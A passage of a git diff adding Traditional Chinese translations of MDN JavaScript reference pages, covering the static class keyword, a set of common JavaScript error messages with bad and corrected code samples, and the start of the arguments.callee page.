+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br>
+    {{CompatChrome(49.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>13</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(9.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br>
+    {{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Classes/extends">extends</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/classes/static/index.html b/files/zh-tw/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..49e18b44bb
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,123 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<div>使用關鍵字 <strong>static </strong>來定義一個靜態的方法（method）給類別（class），靜態方法在由類別所建立的物件實體（instance）上不能被呼叫，取而代之的是，靜態方法只能由類別本身呼叫。他們通常作為工具函式（utility functions）使用。像是建立物件或複製物件的函式。</div>
+
+<div></div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">static methodName() { ... }</pre>
+
+<h2 id="敘述">敘述</h2>
+
+<p>靜態方法不須實例化(instantiating)其類別即可被呼叫，但當類別被實例化(instantiating)後則靜態方法不能被呼叫。 靜態方法常被使用在建立應用程式的工具函式(utility functions)。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>下面的範例示範了許多東西。他示範了如何在一個可以有子類別的類別中實作一個靜態方法。最後示範了靜態方法在什麼情形下正確與錯誤的呼叫。</p>
+
+<pre class="brush: js">class Triple {
+  static triple(n) {
+    n = n || 1; //should not be a bitwise operation
+    return n * 3;
+  }
+}
+
+class BiggerTriple extends Triple {
+  static triple(n) {
+    return super.triple(n) * super.triple(n);
+  }
+}
+
+console.log(Triple.triple());        // 3
+console.log(Triple.triple(6));       // 18
+console.log(BiggerTriple.triple(3)); // 81
+var tp = new Triple();
+console.log(tp.triple());             // 'tp.triple is not a function'.</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="你可能會需要看看">你可能會需要看看</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/zh-tw/web/javascript/reference/errors/bad_return_or_yield/index.html
new file mode 100644
index 0000000000..7a28fb4be3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -0,0 +1,51 @@
+---
+title: 'SyntaxError: return not in function'
+slug: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">SyntaxError: return not in function
+SyntaxError: yield not in function
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 或 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 宣告在<a href="/zh-TW/docs/Web/JavaScript/Guide/Functions">函式</a>以外的地方被呼叫。也許少寫了一個大括號？<code>return</code> 與 <code>yield</code> 宣告必須要寫在函式裡面，因為它們結束（或暫停並恢復）函式的執行，並且回傳了特定值。</p>
+
+<h2 id="實例">實例</h2>
+
+<pre class="brush: js example-bad">var cheer = function(score) {
+  if (score === 147)
+    return "Maximum!";
+  };
+  if (score &gt; 100) {
+    return "Century!";
+  }
+}
+
+// SyntaxError: return not in function</pre>
+
+<p>乍看之下大括號寫對了，但其實在第一個 <code>if</code> 的後面，少了一個 <code>{</code>。正確的寫法應該是：</p>
+
+<pre class="brush: js example-good">var cheer = function(score) {
+  if (score === 147) {
+    return "Maximum!";
+  }
+  if (score &gt; 100) {
+    return "Century!";
+  }
+};</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/return">return</a></code></li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/index.html b/files/zh-tw/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..8f553faa75
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/index.html
@@ -0,0 +1,22 @@
+---
+title: JavaScript 錯誤參考資料
+slug: Web/JavaScript/Reference/Errors
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>在這裡，你可以看到一些由 JavaScript 拋出的錯誤一覽。這些錯誤訊息對你的除錯很有幫助，但拋出的錯誤也不是每次都能講清楚。本頁回提供這些錯誤的詳細資訊。所有的錯誤都是由 {{jsxref("Error")}} 物件所建立的物件，有著 <code>name</code> 與 <code>message</code>。</p>
+
+<p>錯誤會出現在網路主控台、可能還連接到相應頁面，以幫助你儘速理解程式碼裡面的問題。</p>
+
+<h2 id="錯誤一覽表">錯誤一覽表</h2>
+
+<p>In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below!</p>
+
+<p>{{ListSubPages("/zh-TW/docs/Web/JavaScript/Reference/Errors")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Learn/JavaScript/First_steps/What_went_wrong">哪裡出錯了？JavaScript 除錯</a>：針對初學者的 JavaScript 除錯入門教程。</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/invalid_array_length/index.html b/files/zh-tw/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..ee2c5f08e4
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,74 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">RangeError: Array length must be a finite positive integer (Edge)
+RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="哪裡錯了">哪裡錯了?</h2>
+
+<p>一個無效的陣列長度可能發生於以下幾種情形:</p>
+
+<ul>
+ <li>建立了一個長度為負或大於等於2<sup>32</sup>的 {{jsxref("Array")}} 或 {{jsxref("ArrayBuffer")}} </li>
+ <li>將 {{jsxref("Array.length")}} 屬性設為負值或大於等於 2<sup>32</sup></li>
+</ul>
+
+<p>為什麼 <code>Array</code>  和 <code>ArrayBuffer</code> 的長度有限?   <code>Array</code> 和 <code>ArrayBuffer</code> 的屬性以一個32位元的非負整數表使，因此僅能儲存 0 到 2<sup>32</sup>-1 的數值。</p>
+
+<p>If you are creating an <code>Array</code>, using the constructor, you probably want to use the literal notation instead, as the first argument is interpreted as the length of the <code>Array</code>.</p>
+
+<p>Otherwise, you might want to clamp the length before setting the length property, or using it as argument of the constructor.</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="無效的案例">無效的案例</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // set -1 to the length property
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // set 2^32 to the length property
+</pre>
+
+<h3 id="有效的案例">有效的案例</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff 是 2^32 - 1 的十六進位表示
+// 也可以寫成 (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/zh-tw/web/javascript/reference/errors/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..7e3728fc49
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/missing_curly_after_property_list/index.html
@@ -0,0 +1,47 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after property list
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="何處出錯">何處出錯?</h2>
+
+<p>在物件初始化時，語法錯誤。  實際上可能遺漏一個大括號或是逗號。 例如， 同時檢查大括弧以及逗號是否以正確的順序關閉。 縮排或是有規則的排序代碼是有幫助您找出複雜的代碼錯誤。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="忘記逗號">忘記逗號</h3>
+
+<p>有時候，在初始化物件時，缺少一個逗號：</p>
+
+<pre class="brush: js example-bad">var obj = {
+  a: 1,
+  b: { myProp: 2 }
+  c: 3
+};
+</pre>
+
+<p>Correct would be:</p>
+
+<pre class="brush: js example-good">var obj = {
+  a: 1,
+  b: { myProp: 2 },
+  c: 3
+};
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/no_properties/index.html b/files/zh-tw/web/javascript/reference/errors/no_properties/index.html
new file mode 100644
index 0000000000..b355d15ea3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/no_properties/index.html
@@ -0,0 +1,36 @@
+---
+title: 'TypeError: "x" has no properties'
+slug: Web/JavaScript/Reference/Errors/No_properties
+translation_of: Web/JavaScript/Reference/Errors/No_properties
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">TypeError: null has no properties
+TypeError: undefined has no properties
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>{{jsxref("null")}} 與 {{jsxref("undefined")}} 並沒有可訪問的屬性。</p>
+
+<h2 id="示例">示例</h2>
+
+<pre class="brush: js example-bad">null.foo;
+// TypeError: null has no properties
+
+undefined.bar;
+// TypeError: undefined has no properties
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/not_a_function/index.html b/files/zh-tw/web/javascript/reference/errors/not_a_function/index.html
new file mode 100644
index 0000000000..24ce79a6e4
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/not_a_function/index.html
@@ -0,0 +1,80 @@
+---
+title: 'TypeError: "x" is not a function'
+slug: Web/JavaScript/Reference/Errors/Not_a_function
+translation_of: Web/JavaScript/Reference/Errors/Not_a_function
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a function
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>你想以函式呼叫一個數值，但該數值其實不是函式。程式碼期望你給出函式，但這份期望落空了。</p>
+
+<p>也許打錯了函式的名字？也許呼叫的物件並沒有這個函式？例如說 JavaScript 物件並沒有 <code>map</code> 函式，但 JavaScript Array（陣列）物件則有。</p>
+
+<p>許多內建函式都需要回呼（callback）的函式。為了讓下面的方法順利運作，你需要為它們提供函式：</p>
+
+<ul>
+ <li>如果是 {{jsxref("Array")}} 或 {{jsxref("TypedArray")}} 物件：
+  <ul>
+   <li>{{jsxref("Array.prototype.every()")}}、{{jsxref("Array.prototype.some()")}}、{{jsxref("Array.prototype.forEach()")}}、{{jsxref("Array.prototype.map()")}}、{{jsxref("Array.prototype.filter()")}}、{{jsxref("Array.prototype.reduce()")}}、{{jsxref("Array.prototype.reduceRight()")}}、{{jsxref("Array.prototype.find()")}}</li>
+  </ul>
+ </li>
+ <li>如果是 {{jsxref("Map")}} 與 {{jsxref("Set")}} 物件：
+  <ul>
+   <li>{{jsxref("Map.prototype.forEach()")}} 與 {{jsxref("Set.prototype.forEach()")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="實例">實例</h2>
+
+<h3 id="函式的名字打錯了">函式的名字打錯了</h3>
+
+<p>這種事太常發生了。下例就有個方法打錯：</p>
+
+<pre class="brush: js example-bad">var x = document.getElementByID("foo");
+// TypeError: document.getElementByID is not a function
+</pre>
+
+<p>該函式的正確名字為 <code>getElementByI<strong>d</strong></code>：</p>
+
+<pre class="brush: js example-good">var x = document.getElementById("foo");
+</pre>
+
+<h3 id="函式呼叫到錯誤的物件">函式呼叫到錯誤的物件</h3>
+
+<p>某些方法需要你提供回呼的函式，該函式只能作用於特定物件。以本例而言，我們使用的 {{jsxref("Array.prototype.map()")}} 就只能作用於 {{jsxref("Array")}} 物件。</p>
+
+<pre class="brush: js example-bad">var obj = { a: 13, b: 37, c: 42 };
+
+obj.map(function(num) {
+  return num * 2;
+});
+
+// TypeError: obj.map is not a function</pre>
+
+<p>請改用陣列：</p>
+
+<pre class="brush: js example-good">var numbers = [1, 4, 9];
+
+numbers.map(function(num) {
+  return num * 2;
+});
+
+// Array [ 2, 8, 18 ]
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/not_defined/index.html b/files/zh-tw/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..fa79033977
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,67 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>有個地方參照到不存在的變數了。這個變數需要宣告、或確定在目前腳本、或在 {{Glossary("scope")}} 裡可用。</p>
+
+<div class="note">
+<p><strong>注意：</strong>如果要使用函式庫（例如 jQuery）的話，請確定在你使用諸如 $ 這樣的函式庫變數前，就已載入完畢。把載入函式庫的 {{HTMLElement("script")}} 標籤，放在你使用的程式碼之前。
+</p>
+</div>
+
+<h2 id="實例">實例</h2>
+
+<h3 id="變數未宣告">變數未宣告</h3>
+
+<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined
+</pre>
+
+<p>"foo" 變數在任何地方都沒被定義到。它需要字串使 {{jsxref("String.prototype.substring()")}} 得以運作。</p>
+
+<pre class="brush: js example-good">var foo = "bar";
+foo.substring(1); // "ar"</pre>
+
+<h3 id="作用域錯誤">作用域錯誤</h3>
+
+<p>A variable need to be available in the current context of execution. Variables defined inside a <a href="/en-US/docs/Web/JavaScript/Reference/Functions">function</a> cannot be accessed from anywhere outside the function, because the variable is defined only in the scope of the function</p>
+
+<pre class="brush: js example-bad">function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 is not defined.</pre>
+
+<p>However, a function can access all variables and functions defined inside the scope in which it is defined. In other words, a function defined in the global scope can access all variables defined in the global scope.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{Glossary("Scope")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Declaring variables in the JavaScript Guide</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Function scope in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/redeclared_parameter/index.html b/files/zh-tw/web/javascript/reference/errors/redeclared_parameter/index.html
new file mode 100644
index 0000000000..e9ba8cbbe0
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/redeclared_parameter/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: redeclaration of formal parameter "x"'
+slug: Web/JavaScript/Reference/Errors/Redeclared_parameter
+translation_of: Web/JavaScript/Reference/Errors/Redeclared_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">SyntaxError: redeclaration of formal parameter "x" (Firefox)
+SyntaxError: Identifier "x" has already been declared (Chrome)
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>當相同的變數名作為函式的參數、接著又在函式體（function body）內用了 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 重複宣告並指派時出現。在 JavaScript 裡面，不允許在相同的函式、或是作用域區塊（block scope）內重複宣告相同的 <code>let</code> 變數。</p>
+
+<h2 id="實例">實例</h2>
+
+<p>在這裡，「arg」變數的參數被重複宣告。</p>
+
+<pre class="brush: js example-bad">function f(arg) {
+  let arg = 'foo';
+}
+
+// SyntaxError: redeclaration of formal parameter "arg"
+</pre>
+
+<p>If you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again. In other words: you can omit the <code>let</code> keyword. If you want to create a new variable, you need to rename it as conflicts with the function parameter already.</p>
+
+<pre class="brush: js example-good">function f(arg) {
+  arg = 'foo';
+}
+
+function f(arg) {
+  let bar = 'foo';
+}
+</pre>
+
+<h2 id="相容性註解">相容性註解</h2>
+
+<ul>
+ <li>在 Firefox 49 {{geckoRelease(49)}} 之前，這個錯誤被歸為 {{jsxref("TypeError")}}。 ({{bug(1275240)}})</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li>在 <a href="/zh-TW/docs/Web/JavaScript/Guide">JavaScript 教學</a>內<a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_Types#Declarations">宣告變數</a> </li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/too_much_recursion/index.html b/files/zh-tw/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..1708683ffa
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,50 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="訊息">訊息</h2>
+
+<pre class="syntaxbox">InternalError: too much recursion
+</pre>
+
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("InternalError")}}</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>一個呼叫自己的函式稱為<em>遞迴函式</em>（recursive function）。在某些方面，遞迴和迴圈很像。它們都需要在指定條件（以避免無窮迴圈，或是本例的無窮遞迴）下，重複執行數次相同的程式碼。如果遞迴執行太多次、或成為無窮遞迴的話，JavaScript 就會出現這個錯誤。</p>
+
+<h2 id="實例">實例</h2>
+
+<p>以下的遞迴函式，會根據終止條件，而運行十次。</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" 是終止條件
+    return;
+  // do stuff
+  loop(x + 1); // 遞迴呼叫
+}
+loop(0);</pre>
+
+<p>如果把終止條件的次數設得太高，函式就不會運作了：</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // do stuff
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Recursion">遞迴函式</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/errors/unexpected_type/index.html b/files/zh-tw/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..d7399baf5d
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,49 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<h2 id="錯誤類型">錯誤類型</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="哪裡錯了？">哪裡錯了？</h2>
+
+<p>有一個意想不到的類型。這與 {{jsxref("undefined")}} 或 {{jsxref("null")}} 值經常發生。</p>
+
+<p>另外，某些方法，如 {{jsxref("Object.create()")}} 或 {{jsxref("Symbol.keyFor()")}} 要求特定類型，即必須提供。</p>
+
+<h2 id="實例">實例</h2>
+
+<h3 id="無效的情況下">無效的情況下</h3>
+
+<pre class="brush: js example-bad">// undefined 和 null 的情況下在其上的子方法不起作用
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// 某些方法可能要求特定類型
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = "bar"
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h3 id="修復問題">修復問題</h3>
+
+<p>為了解決空指針 <code>undefined</code> 或 <code>null</code> 值，可以使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> 運算符，例如。 operator, for example.</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // 現在我們知道foo被定義，我們可以繼續進行。
+}</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/arguments/callee/index.html b/files/zh-tw/web/javascript/reference/functions/arguments/callee/index.html
new file mode 100644
index 0000000000..397eb08d00
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/arguments/callee/index.html
@@ -0,0 +1,197 @@
+---
+title: arguments.callee
+slug: Web/JavaScript/Reference/Functions/arguments/callee
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>The <strong><code>arguments.callee</code></strong> property contains the currently executing function.</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>callee</code> is a property of the <code>arguments</code> object. It can be used to refer to the currently executing function inside the function body of that function. This is useful when the name of the function is unknown, such as within a function expression with no name (also called "anonymous functions").</p>
+
+<div class="warning"><strong>Warning:</strong> The 5th edition of ECMAScript (ES5) forbids use of <code>arguments.callee()</code> in <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>. Avoid using <code>arguments.callee()</code> by either giving function expressions a name or use a function declaration where a function must call itself.</div>
+
+<h3 id="Why_was_arguments.callee_removed_from_ES5_strict_mode">Why was <code>arguments.callee</code> removed from ES5 strict mode?</h3>
+
+<p>(adapted from <a href="http://stackoverflow.com/a/235760/578288" title="http://stackoverflow.com/a/235760/578288">a Stack Overflow answer by olliej</a>)</p>
+
+<p>Early versions of JavaScript did not allow named function expressions, and for this reason you could not make a recursive function expression.</p>
+
+<p>For example, this syntax worked:</p>
+
+<pre class="brush: js">function factorial (n) {
+    return !(n &gt; 1) ? 1 : factorial(n - 1) * n;
+}
+
+[1,2,3,4,5].map(factorial);</pre>
+
+<p>but:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : /* what goes here? */ (n - 1) * n;
+});</pre>
+
+<p>did not. To get around this <code>arguments.callee</code> was added so you could do</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : arguments.callee(n - 1) * n;
+});</pre>
+
+<p>However, this was actually a really bad solution as this (in conjunction with other <code>arguments</code>, <code>callee</code>, and <code>caller</code> issues) make inlining and tail recursion impossible in the general case (you can achieve it in select cases through tracing, etc., but even the best code is suboptimal due to checks that would not otherwise be necessary.) The other major issue is that the recursive call will get a different <code>this</code> value, e.g.:</p>
+
+<pre class="brush: js">var global = this;
+
